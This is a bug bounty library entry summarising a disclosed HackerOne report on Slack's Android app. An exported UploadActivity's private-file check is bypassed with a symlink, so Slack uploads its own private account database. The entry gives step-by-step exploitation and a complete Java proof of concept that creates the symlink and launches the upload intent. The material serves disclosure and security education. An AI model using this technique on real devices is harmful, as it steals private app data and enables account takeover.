# Private application files can be uploaded to Slack via malicious uploader

Exported Slack UploadActivity's private-file check was bypassed via symlink, letting a malicious app read Slack's private databases and steal account data.

- Payout: $500
- Severity: medium
- Program: Slack
- Found by: shell_c0de
- Disclosed: 2021-08-04
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/375083
- Library page: https://bugbountylibrary.com/r/h1%3A375083
- Tags: area:mobile domain:mobile impact:ato impact:data-leak kind:bounty platform:hackerone sev:medium tech:android technique:chained vuln:access-control vuln:path-traversal

**Target:** Android app com.Slack.ui.UploadActivity exported activity
**Root cause:** isPrivateFile() only checks whether the URI path segments contain the string 'com.Slack', so a symlink in the attacker's own directory pointing to a Slack private file passes the check.
**Steps:**
1. Malware creates symlink: `ln -s /data/data/com.Slack/databases/account_manager /data/data/com.example.route.readfileapk/account_manager`
2. Grant world read/execute on the attacker dir and symlink via `setReadable/setWritable/setExecutable(true,false)`
3. Build intent `android.intent.action.SEND` targeting `com.Slack/com.Slack.ui.UploadActivity` with type `*/*` and `FLAG_GRANT_READ_URI_PERMISSION`
4. Put `android.intent.extra.STREAM` = `file:///data/data/com.example.route.readfileapk/account_manager`
5. startActivity() — Slack reads the symlinked private DB and uploads it
**How found:** Noticed the isPrivateFile() path-segment string check and reasoned that a symlink whose path lacks 'com.Slack' but resolves to a Slack private file would bypass it.
**Exploitation:** A malicious installed app creates a symlink in its own world-readable directory pointing at Slack's private database, then invokes the exported UploadActivity with that file:// URI; Slack's isPrivateFile check sees no 'com.Slack' segment and uploads the file, exfiltrating account data.
**Insight:** Path-string checks for private files are bypassable with symlinks; test exported file-reading activities by pointing them at attacker-controlled symlinks that resolve into the target's sandbox.

## Proof of concept (copied exactly from the original report)

**Malicious app symlinks Slack DB and launches UploadActivity**

```
StrictMode.VmPolicy.Builder builder = new StrictMode.VmPolicy.Builder();
    StrictMode.setVmPolicy(builder.build());
    new File("/data/data/com.example.route.readfileapk/").setReadable(true,false);
    new File("/data/data/com.example.route.readfileapk/").setWritable(true,false);
    new File("/data/data/com.example.route.readfileapk/").setExecutable(true,false);
   
       try {
            Runtime.getRuntime().exec("ln -s /data/data/com.Slack/databases/account_manager /data/data/com.example.route.readfileapk/account_manager").waitFor();
        }
        catch(Exception e) {
            e.printStackTrace();
            finish();
            return;
        }
        new File("/data/data/com.example.route.readfileapk/account_manager").setReadable(true,false);
        Intent intent = new Intent("android.intent.action.SEND");
        intent.setClassName("com.Slack", "com.Slack.ui.UploadActivity");
        intent.setType("*/*");
        intent.setFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
        intent.putExtra("android.intent.extra.STREAM", Uri.parse("file:///data/data/com.example.route.readfileapk/account_manager"));
        startActivity(intent);
```

